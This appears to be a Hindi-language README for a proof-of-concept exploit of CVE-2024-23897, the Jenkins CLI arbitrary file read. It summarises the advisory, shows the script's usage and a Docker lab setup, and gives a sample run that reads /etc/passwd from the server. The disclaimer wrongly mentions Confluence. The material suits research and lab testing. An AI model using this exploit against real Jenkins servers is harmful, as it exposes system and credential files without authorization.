
यह रिपॉज़िटरी CVE-2024-23897 का प्रूफ-ऑफ-कॉन्सेप्ट प्रस्तुत करती है।
यह रिपॉजिटरी CVE-2024-23897 का एक प्रूफ-ऑफ-कॉन्सेप्ट प्रस्तुत करता है (sonarsource द्वारा खोजा गया)
यह कोड भेद्यता का एक प्रूफ-ऑफ-कॉन्सेप्ट है, मैं किसी को भी इसे उन confluence इंस्टेंस पर उपयोग करने के लिए प्रोत्साहित नहीं कर रहा हूँ जिनके वे स्वामी नहीं हैं।
यह उपकरण केवल शोध और शैक्षिक उद्देश्यों के लिए विकसित किया गया है और इसके किसी भी उपयोग के लिए मैं उत्तरदायी नहीं रहूँगा।
के अनुसार Jenkins Security Advisory 2024-01-24 : Jenkins CLI कमांड को संसाधित करते समय Jenkins नियंत्रक पर कमांड तर्कों और विकल्पों को पार्स करने के लिए args4j लाइब्रेरी का उपयोग करता है। इस कमांड पार्सर में एक सुविधा है जो किसी तर्क में @ के बाद फ़ाइल पथ को फ़ाइल की सामग्री से बदल देती है (expandAtFiles)। यह सुविधा डिफ़ॉल्ट रूप से सक्षम है और Jenkins 2.441 और पुराने संस्करण, LTS 2.426.2 और पुराने संस्करण इसे अक्षम नहीं करते हैं। यह हमलावरों को Jenkins नियंत्रक प्रक्रिया की डिफ़ॉल्ट कैरेक्टर एन्कोडिंग का उपयोग करके Jenkins नियंत्रक फ़ाइल सिस्टम पर मनमानी फ़ाइलें पढ़ने की अनुमति देता है।
$ python3 CVE-2024-23897.py -h
usage: CVE-2024-23897.py [-h] -u URL -f FILENAME
This is a POC for CVE-2024-23897 (Jenkins file read)
options:
-h, --help show this help message and exit
-u URL Url
-f FILENAME Filename
docker pull jenkins/jenkins:2.440-jdk17
docker run -p 8080:8080 jenkins/jenkins:2.440-jdk17
$ python3 CVE-2024-23897.py -u http://127.0.0.1:8080 -f '/etc/passwd'
[+] Trying to recover /etc/passwd
[+] Data recovered:
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)